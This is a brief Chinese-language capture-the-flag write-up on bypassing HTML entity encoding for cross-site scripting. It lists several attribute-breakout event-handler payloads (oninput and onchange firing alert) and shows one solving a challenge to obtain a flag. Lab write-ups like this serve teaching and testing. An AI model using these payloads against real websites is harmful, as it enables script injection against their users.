xss實體繞過示例

知識點：

倘若是在script、input標簽當中，即可突破。

Payload

' oninput=alert`1` // 當要在input中輸入內容時觸發事件

' oninput=alert`1` ' 同上

' onchange=alert`1` // 發生改變的時候觸發該事件

' onchange=alert`1` ' 同上

在script里直接alert

 

示例：

首選輸入測試語句<script>alert(/Micr067/)</script>，

查看源碼發現做了實體編碼。

使用xss實體繞過即可突破，

先輸入 ' oninput=alert`1` // 提交，

在input中輸入內容時觸發事件，輸入數字1即觸發xss彈窗，

獲得flag{Network_security_Era}